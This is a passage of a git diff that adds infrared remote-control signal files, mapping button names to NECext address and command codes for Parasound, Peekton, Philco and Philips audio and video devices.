parsed +protocol: NECext +address: 03 F0 00 00 +command: CD 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: CF 00 00 00 +# +name: 5.1 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D2 00 00 00 +# +name: DYN +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D3 00 00 00 +# +name: TONE +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D4 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D6 00 00 00 +# +name: RE-EQ +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D7 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D8 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D9 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: DA 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: DB 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: DC 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: DD 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: DE 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir b/assets/resources/infrared/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir new file mode 100644 index 000000000..9ffd14322 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: AUDIO1 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 80 00 00 00 +# +name: AUDIO2 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 81 00 00 00 +# +name: AUDIO3 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 82 00 00 00 +# +name: RF +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 83 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 83 00 00 00 +# +name: TOSLINK +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 84 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 84 00 00 00 +# +name: COAX1 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 85 00 00 00 +# +name: VIDEO3 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 85 00 00 00 +# +name: COAX2 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 86 00 00 00 +# +name: VIDEO4 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 86 00 00 00 +# +name: STEREO-DIRECT +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 90 00 00 00 +# +name: 5.1 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 91 00 00 00 +# +name: PROLOGIC +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 94 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 95 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 9C 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C0 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C8 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: CB 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: CC 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: CF 00 00 00 +# +name: 2CH +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D0 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D1 00 00 00 +# +name: DIALOGNORMALIZATION +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D2 00 00 00 +# +name: DYNAMIC_RANGE +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D3 00 00 00 +# +name: RE-EQ +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: D7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir new file mode 100644 index 000000000..c4c536a4f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: eq +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: mark +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: a-line +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: v-remote +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir new file mode 100644 index 000000000..021ed5a1c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: XPRESS +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 07 00 00 00 +# +name: SAP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 08 00 00 00 +# +name: TVAV +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: LASTCH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: PREF +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: MAGIC +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir new file mode 100644 index 000000000..e10495043 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: CD1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 37 00 00 00 +# +name: CD2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 38 00 00 00 +# +name: CD3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 39 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir new file mode 100644 index 000000000..985ee4601 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 09 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 20 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 21 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 30 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 36 00 00 00 +# +name: CDR +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/DSS/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/DSS/133,48.ir new file mode 100644 index 000000000..21c60d607 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/DSS/133,48.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 02 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 12 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 13 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 17 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 18 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 19 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 1F 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 21 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 23 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 24 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 25 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 26 00 00 00 +# +name: RETURN_TO_LIVE_TV +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 27 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 28 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 29 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 2F 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 32 00 00 00 +# +name: ENTER/JUMP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir new file mode 100644 index 000000000..d79d4750c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 20 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 21 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5C 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 83 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/DVD Player/4,-1.ir new file mode 100644 index 000000000..a57292c1a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/DVD Player/4,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: OSD_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: SCREEN_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: DVD_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: T-C +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir b/assets/resources/infrared/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir new file mode 100644 index 000000000..c79883908 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir @@ -0,0 +1,1862 @@ +Filetype: IR signals file +Version: 1 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 00 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: LIVE_TV_/_GUIDE +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 11 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 14 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 15 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 85 30 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: 